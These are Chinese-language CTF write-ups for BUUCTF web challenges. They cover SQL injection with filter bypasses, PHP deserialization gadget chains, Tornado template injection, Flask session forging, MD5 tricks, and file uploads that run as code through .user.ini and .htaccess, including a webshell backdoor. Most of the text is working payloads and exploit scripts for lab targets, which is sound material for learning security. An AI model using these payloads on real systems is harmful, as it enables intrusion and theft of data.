BUUCTF[极客大挑战 2019]BabySQL
好像和前面的题目相似
check.php?username=admin&password=1'
单引号闭合
check.php?username=admin&password=1' or '1'='1
查一下字段数
check.php?username=admin&password=1' union select 1,2,3,4 or '1'='1
仔细看发现union select or都被过滤为空了,直接双写绕过
check.php?username=admin&password=1' uniounionn sselectelect 1,2,3,4 oorr '1'='1
check.php?username=admin&password=1' uniounionn sselectelect 1,2,3 oorr '1'='1
数据库
check.php?username=admin&password=1' uniounionn sselectelect 1,database(),'3
查表
check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),'3
字段名
check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql"),'3
查数据
check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(username,passwoorrd) frfromom b4bsql),'3
BUUCTF[极客大挑战 2019]PHP
网站扫不了就直接说www.zip是备份文件了
index.php发现反序列化
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){#反序列化时自动调用,需要绕过,可以通过更改对象个数来绕过
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {#如果password不等于100结束
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
一个简单的php反序列化
脚本
class Name{
private $username = 'admin';
private $password = '100';
}
$p = new Name();
$p = serialize($p);
echo $p."\n";#输出初始序列化对象
$p = str_replace('":2:','":3:',$p);
echo $p."\n";#输出将2 替换为3 后的序列化对象 绕过wakeup函数
$p = urlencode($p);
echo $p;#进行url编码防止因为%00不可打印字符在复制时丢失
?>
#O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
#O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
#O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
无法复制%00
BUUCTF[ACTF2020 新生赛]BackupFile
一般做题都先扫目录,但是这个平台不让扫,自己一个个试试吧
下载下来源码
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
弱类型相等
http://4021fbd6-79aa-4cdb-9ac5-fed0e728d349.node4.buuoj.cn:81/?key=123
[护网杯 2018]easy_tornado
三个文件
/flag.txt
/welcome.txt
/hints.txt
注意连接
http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=81c8ea4cbb1c6a8f5af7138f48834607
先尝试改一下文件名
http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/error?msg=Error
报错了
查一下render
这里可能是将要传入的filehash的值所以现在就需要知道cookies_secret的值
查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。
cookie_secret保存在settings中
发现self.application.settings有一个别名
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings
这里需要获取cookie_secret那么就需要有模板注入的地方尝试一下发现在错误信息中有
http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/error?msg={{str}}
获取一下cookie_secret
error?msg={{handler.settings}}
先得到文件名md5值
3bf9f6cf685a6dd8defadabfb41a03a1
拼起来
41c2f098-ff58-45c4-bc1e-98837748079b3bf9f6cf685a6dd8defadabfb41a03a1
再取合起来的md5值
组合一下
http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=ae79dbd1ea73f1effd2a6b89a702cd2a
BUUCTF[极客大挑战 2019]BuyFlag
打开是个广告
需要好多钱,还需要注意必须是cuit的学生这里应该是个提示,应该跟普通用户不一样
源代码发现好东西
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number";
}elseif ($password == 404) {
echo "Password Right!";
}
}
-->
这里注意他只说了post password需要加上money
这里发送过去没有回显,仔细观察可以发现一个user非常可疑,一般0代表的是假,1代表的是真如果用来区分是不是cuit的studit使用的是0和1的话这里就需要改成1
发现数字太长了,可以使用科学计数法
[HCTF 2018]admin
法一
打开先点点,看看源码扫扫目录
注册一个登进去看看,这里的名字有回显,但是注册这里是有验证码限制的,可以留有思路看看验证码有没有爆破的可能
这里抓包发现有session看着像是jwt,但是实际上并不是
在这里发现了问题,这个改密码看看有没有可能有越权漏洞
源码泄露了,不说了先去找源码
发现是python写的,使用了flask框架
先查看路由
发现加载了index.html页面
发现关键信息,这里需要session 的name 为admin这里去查了一下flask的session文档
接着查找一下关键词SECRET发现在config文件里面还有信息
接着就是解码session对象了,找个工具来弄flash-session-cookie
抓到的本地session
.eJw9kE-PgjAQxb_KZs4c5I8XEw9uuhBMZgimLGkvBBVZWssmqEFq_O5bzMbDHGZe8t7vzQOq09BcfmB1HW6NB1V3hNUDPvawAlnGWiaksyS_y2RrKJBGqp0iiz4y9Imno-B6QvupkH9rMiIUPDbIvwLJ9DjfZIIBlqRIFb6wsSGFkeT5iCUuie3OQp07cpNxEQh1cAn5lJXFAg36Um07YdMQWXsXRjqveXfZZW6JFZNQ8RltOxFr1_D04HAZTtX1Vzf9uwKxfCn5jJ1GZHWESgQOPxS2tciKMeMOI8gtJg5M6Sjjm0W2Wb_sOlO3zdupKY5Y_it9bZwAY93XPXhwuzTD62_gL-D5B-mzbZs.YjrdGQ.4IaKpf7FQl0w374TS5D9c5WJ3is
用工具解码出来的
python flask_session_cookie_manager3.py decode -c ".eJw9kE-PgjAQxb_KZs4c5I8XEw9uuhBMZgimLGkvBBVZWssmqEFq_O5bzMbDHGZe8t7vzQOq09BcfmB1HW6NB1V3hNUDPvawAlnGWiaksyS_y2RrKJBGqp0iiz4y9Imno-B6QvupkH9rMiIUPDbIvwLJ9DjfZIIBlqRIFb6wsSGFkeT5iCUuie3OQp07cpNxEQh1cAn5lJXFAg36Um07YdMQWXsXRjqveXfZZW6JFZNQ8RltOxFr1_D04HAZTtX1Vzf9uwKxfCn5jJ1GZHWESgQOPxS2tciKMeMOI8gtJg5M6Sjjm0W2Wb_sOlO3zdupKY5Y_it9bZwAY93XPXhwuzTD62_gL-D5B-mzbZs.YjrdGQ.4IaKpf7FQl0w374TS5D9c5WJ3is"
b'{"_fresh":true,"_id":{" b":"ZWFkZGNkOGQxZGJmN2ZmZjRjNzM1MDM1NTIwYTkyMzBjMTVkNmY3YTFmMTE2ZDkwMTVkZGM2MWNjNjU1YzFmNjM4ZTQwMWM5NDRlYjliNjliOTY2Yjc2ZmQyOWU0MmM1ZjJiYzI3MDgxYmZkZGJiYzM1MWQzNDUyYjFlMzgyNDg="},"csrf_token":{" b":"NDQ5ZTZmZjI4Nzk4MjY2NzM3YzgzMDUwOTM5N2QzMGNjMjk4OTA0OA=="},"image":{" b":"eUdMWA=="},"name":"wanan","user_id":"10"}'
这里加密时发现回不去,所以换了一个脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
用法
python flask-session.py ".eJw9kD2PwjAMhv_KyXOHfsCCxMAptALJrorCVfGCer1SSJqeVEClQfz3Cww3eLCH5_H7PuBwHJrLCRbX4dYEcDj_wOIBH9-wAC5TwxmZPCvunG0txWxZ7zQ5jFBgRHIzKmkmdJ8a5ZchqxIlU4tyHbMw4-vGGcZYkia9j5RLLWmcsSxGLHFOYtcp3Z3JTy5VrHTtDcWUl_sQLUast2flNgmK9q4se9Zr9-6ycCT2k9Jph66dSLRLeAZQX4bj4fprmv4_gtf590yUl-lJxWnHoo5JdFo5E3rNjHXtWOAcxfruw51ysUpwtXzj-so2HjFWfdVDALdLM7zbgSiE5x9Iw2aG.Yjr3nQ.s-VmFPx-L1QnKdOw_bkbpDM3cSg"
{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'wanan', 'user_id': '10'}
改name成admin
{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'admin', 'user_id': '10'}
在换成原先的工具加密回去
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'admin', 'user_id': '10'}"
.eJw9kLGOwjAMhl_l5JmhLbAgMXAKqUCyq6L0qnhBUAo0aTipgGiDePcLDDd4sIfv8_8_YXvs6usZZrfuXo9g2xxg9oSvPcyAS2k5JZulec_p2lHCjs3GkMcYBcakVg-t7ID-26D6seT0WCvpUC0TFvbxvnGKCZZkyBSx9tKRwQmr_IElTklsWm3ahsJkSifaVMGQD1lZROgwZrNutF-NUZx67Tiw3ntwl7knUQzayBb9aSBxmsNrBNW1O25vv7a-_EcIuvCejbNSnnUiWxZVQqI12tsoaCZsKs8CpyiWfQh3zsRijIv5B3fZuTogdgfXXGAE92vdfdqBOILXH0eiZno.Yjr4HA.pCZ5mKt-VRQsEyg6MEslUI8GtL8
就这里这个-s “ckj123” 只能使用双引号使用单引号不行,为啥?
法二
他们说这里的版本较低有漏洞nodeprep.prepare函数会将unicode字符ᴬ转换成A而A再次调用nodeprep.prepare函数会把A转换成a
注册用户ᴬᴰᴹᴵᴺ
经过nodeprep.prepare函数ᴬᴰᴹᴵᴺ变成了ADMIN
这里显示的就是
接着修改密码
ᴬᴰᴹᴵᴺ再次经过nodeprep.prepare函数就变成了admin,所以这里修改的密码是admin的密码
接着更改密码,这里改完之后就是admin的密码了
[BJDCTF2020]Easy MD5
md5(string,raw)
参数 描述
string 必需。要计算的字符串。
raw
可选。
默认不写为FALSE。32位16进制的字符串
TRUE。16位原始二进制格式的字符串
这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。
上面的’ffifdyop‘字符串对应的16位原始二进制的字符串就是” 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c “ 。 ’ \ ‘后面的3个字符连同’ \ '算一个字符,比如’ \xc9 ‘,所以上述一共16个。当然,像’ \xc9 ‘这种字符会显示乱码。
这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’ ’ ‘字符。6f就是对应‘ o ’。
然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'
为什么password = ''or'6�]��!r,��b'的返回值会是true呢,因为or后面的单引号里面的字符串(6�]��!r,��b),是数字开头的。当然不能以0开头。(我不知道在数据库里面查询的时候,�这种会不会显示)
这里引用一篇文章,连接在下面,里面的原话“a string starting with a 1 is cast as an integer when used as a boolean.“
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
所以到这里为止,就完成了sql注入。同时要注意的是,这种sql语句,在mysql里面是可以行得通的,但是在oracle数据库里面这样的语句是有语法错误的。
所以回过头来为什么ffifdyop就是答案,因为ffifdyop的md5的原始二进制字符串里面有‘or’6这一部分的字符。那么进一步思考这个单引号是否是必要的,这两个单引号是为了与原有的语句的单引号配对。所以我们理解了这个sql注入的原理,那么就明白了我们需要怎样的字符串。
回到这个题目
发现提示
那么思路是一样的,没wp做个球?
简单绕过下
简单碰撞下
%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
其中的file_get_contents,是从文件中获取数据,那么本地肯定没有这句话,只能通过php伪协议传参.
下面的包含提示useless.php那么就读取一下,使用php:filter协议
http://81138c67-775f-4cb3-92d0-1e356e4b3630.node4.buuoj.cn:81/
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=php://filter/read=convert.base64-encode/resource=useless.php
class Flag{ //flag.php
public $file = 'flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里就要包含一个 useless.php
加上password就好
http://81138c67-775f-4cb3-92d0-1e356e4b3630.node4.buuoj.cn:81/
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
php.ini是php默认的配置文件.其中包含了很多php配置,这些配置中,有分为几种"PHP_INI_SYSTEM PHP_INI_PERDIR PHP_INI_ALL PHP_INI_USER
其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置 注册表中设置,再就是.user.ini中设置.这里就包含.user.ini,那么这个是什么配置文件.
除了主php.ini之外,php会在每个目录下扫描INI文件,从被执行的php文件所在的目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]所指定的).如果被执行的php文件在web根目录之外,则只扫描该目录.在.user.ini风格的INI文件中只有具有PHP_INI_PERDR和PHP_INI_USER模式的INI设置可被识别.
这里就很清楚了,.user.ini实际上就是一个可以有用户"自定义"的php.ini,我们能够自定义的设置模式为"PHP_INI_PERDIR PHP_INI_USER"的设置(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置 处理PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来进行设置的
而且,和php.ini不同的是,.user.ini是一个能别动态加载的ini文件,也就是说我修改了/user.ini后不需要重启服务器中间件,值需要等待user_ini.cache_ttl所设置的时间(默认300秒),即可被重新加载
然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。
Php配置项中有两个比较有意思的项(下图第一、四个):
auto_append_file、auto_prepend_file,点开看看什么意思:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数.而auto_append_file类似,只是在文件后面包含.使用方法很简单,直接写在.user.ini中
auto_prepend_file=1.gif
1.gif是要包含的文件.所以我们可以借助.user.ini轻松让所有php文件都自动包含某个文件,而这个文件可以是一个正常的php文件,也可以是一个包含一句话的webshell
那么我们这里构造一个.user.ini文件上传上去
发现检测了文件类型
上传了一个.user.ini文件
接着上传一个图片马,记得开头做处理
这些都干完之后,记得等一会,因为.user.ini是有生效时间的
接着访问这个目录,下的index.php文件
[极客大挑战 2019]HardSQL
尝试闭合方式
check.php?username=admin'&password=1 the right syntax to use near '1'' at line 1
check.php?username=admin"&password=1 正常
check.php?username=admin&password=1' the right syntax to use near ''1''' at line 1
check.php?username=admin&password=1" 正常
说明单引号闭合,无括号
username=admin&password=admin' or '1'='1
这里有过滤,经过测试过滤了=和空格
爆库
username=admin&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆表
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23 //数据库名字
爆字段名
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23 //数据库名
爆数据
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23 //改数据库名 表名 字段名
显示不全使用left()和right()
username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
updatexml报错
爆数据库
username=admin&password=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
爆表名
username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
爆字段名
username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23
爆数据名
username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(username,%27~%27,password))from(H4rDsq1)),0x7e),1))%23 //改一下表名
显示不全的时候使用left() right()语句分别查询
username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%23
username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23
拼出来
flag{237c59f0-ce14-478d-bc50-13e977d7efd6}
[MRCTF2020]你传你呢
传个png文件
上去了但是没用,必须解析,在上传一个.htaccess文件,去解析.png文件为.php
[MRCTF2020]Ez_bypass
include 'flag.php';
$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['gg']) && isset($_GET['id'])) {
$id = $_GET['id'];
$gg = $_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if (isset($_POST['passwd'])) {
$passwd = $_POST['passwd'];
if (!is_numeric($passwd)) {
if ($passwd == 1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
echo "can you think twice??";
}
} else {
echo 'You can not get it !';
}
} else {
die('only one way to get the flag');
}
} else {
echo "You are not a real hacker!";
}
} else {
die('Please input first');
}
php的md5无法解析数组,传两个数组?gg[]=1&id[]=2
弱类型相等passwd=1234567q
[网鼎杯 2020 青龙组]AreUSerialz
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {#当对象被创建时,会触发进行初始化
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();#调用process方法
}
public function process() {
if($this->op == "1") {#如果op等于1就调用写方法
$this->write();
} else if($this->op == "2") {#如果op等于2就调用读方法,并调用output方法
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");#如果都不等就调用output方法
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {#如果设置了filename和content
if(strlen((string)$this->content) > 100) {#如果这个对象的content大于100就输出太长然后结束
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);##如果没超过100就将content写入到filename中
if($res) $this->output("Successful!");#如果写成功了就输出successful
else $this->output("Failed!");#没成功就输出失败
} else {
$this->output("Failed!");#没设置文件名就失败
}
}
private function read() {
$res = "";
if(isset($this->filename)) {#如果设置了文件名,就输出这个文件的内容
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {#当对象被销毁时触发
if($this->op === "2")#如果op强等于2
$this->op = "1";#输出op=1
$this->content = "";#把content变为空
$this->process();#调用process方法
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)#总共
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))#如果ascii码不在32到125之间就返回假
return false;
return true;
}
if(isset($_GET{'str'})) {#如果设置了str参数
$str = (string)$_GET['str'];#就将str转换成string类型
if(is_valid($str)) {#然后调用自建is_valid函数去判断是否合法
$obj = unserialize($str);#对str进行反序列化
}
}
需要绕过
is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化之后会出现不可见字符\x00*\x00,转化为ascii码不符合要求.还有__destruct()魔术方法中,op==="2"和process()中op==“2”
绕过方法
1.绕过is_valid()函数
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
2.绕过=
__destruct()魔术方法中,op==="2"是强比较,而process()使用的是弱比较op==“2”,可以通过弱类型绕过
绕过方法:op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true
法一
public属性绕过
class FileHandler {
public $op=2;
public $filename="flag.php";
}
$FileHandler1 = new FileHandler();
$str = serialize($FileHandler1);
echo $str;
#O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
法二
\x00绕过
[GXYCTF2019]BabySQli
登录框
源码有字符
居然是base32,下次不知道就挨个试
下面明显base64
得到查询语句
select * from user where username = '$name'
仔细看是像search发起的请求
象征性测试一下闭合方式
name=1&pw=1 正常
name=1'&pw=1 报错
name=1"&pw=1 正常
单引号闭合
查询字段数
name=1'order by 4%23&pw=1
有过滤,发现过滤了or,单是大小写不敏感,大小写绕过
name=1'Order by 4%23&pw=1
name=1'Order by 3%23&pw=1
这个是错误用户
name=admin'Union Select 1,2,1%23&pw=111
这个是错误密码,说明这里的username和password是分开查的,也就是先查询是否有这个用户,在拿密码和这个密码比较 ,那么我们可以尝试一下直接登录
如果前面的不存在的就会只显示联合查询后面的结果
name=1admin' Union Select 1,'admin',1%23&pw=1
也就是这样的,那么如果没问题的话就可以直接登录了
很明显,这里的密码不对,那么可能是什么原因呢,可能是md5加密了密码值,加密的肯定是查询出来的哦,所以我们的就试一下
1->c4ca4238a0b923820dcc509a6f75849b
name=1admin' Union Select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'%23&pw=1
[MRCTF2020]Ezpop
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;#定义一个私有属性
public function append($value){#定义一个追加函数,传入一个参数,包含这个传入的参数
include($value);#这里是终点
}
public function __invoke(){#当把当前对象当成方法调用时触发
$this->append($this->var);#然后就调用这个对象的追加方法
}
}
class Show{
public $source;#公有
public $str;
public function __construct($file='index.php'){#当对象被创建时调用
$this->source = $file;#将这个source赋值index.php
echo 'Welcome to '.$this->source."
";#输出这个source
}
public function __toString(){#当把当前对象当成字符串调用时触发
return $this->str->source;#返回该对象的str赋值source
}
# 这里是起点
public function __wakeup(){#当使用unserialize是调用,就是反序列化对象出现时就调用
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";#如果在source中匹配到gopher或者http或者file或者ftp或者https或者dict或者..且不区分大小写就返回index.php
$this->source = "index.php";#将source赋值给index.php,这里如果想要继续向下调用就可以调用__tostring方法,
}
}
}
class Test{
public $p;
public function __construct(){#当函数创建时调用
$this->p = array();#给p属性赋值数组
}
public function __get($key){#用于从不可访问的属性中读取数据 包括1.私有属性 2.没有初始化的属性
$function = $this->p;#将本对象的p属性赋值给function
return $function();#调用function方法
}
}
$final = new Show();#new一个show对象赋值给final也就是最后的
$Show1 = $final->source = new Show();#new一个show对象赋值给final的source属性 ,接着就调用到了show的__tostring方法
#那么这里的str是可控的,那么这里如果想调到__invoke方法就需要找一个调用方法的地方,那么这里就需要是test对象的__get方法中的
$Test1 = $Show1->str = new Test();#这里正好source属性在test对象中不可找到 ,要注意哦,这里的__tostring是Show1调用的,因此要改的也是Show1中的str属性哦
$Modifier1 = $Test1->p = new Modifier();#接着给Test1的p属性赋值为Modifier对象,就可以调到__invoke方法了 但是这里的var属性是私有的哦
echo "\n";
echo "\n";
echo urlencode(serialize($final));#输出序列化show对象
echo "\n";
$pop = serialize($final);
unserialize($pop);#执行反序列化
?pop=O%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3Bs%3A9%3A"index.php"%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A3%3A"str"%3BN%3B}
[GYCTF2020]Blacklist
单引号报错
字段数为2
有过滤,过滤了不少.堆叠注入
?inject=1';show databases;#
?inject=1';show tables;#
?inject=1';desc `FlagHere`;#
handler [表名] open; 打开一张表
handler [表名] read first; 接着访问打开的表,该表对象未被其他会话共享,并且在会话调用close之前不关闭
handler [表名] close;
?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
提示了flag的位置
输入1’时出现了布尔值false,没懂这里什么意思
有过滤,先fuzz一下
测试一下闭合
id=2/2 回显Hello, glzjin wants a girlfriend.
id=1 回显Hello, glzjin wants a girlfriend.
id=1' bool(false)
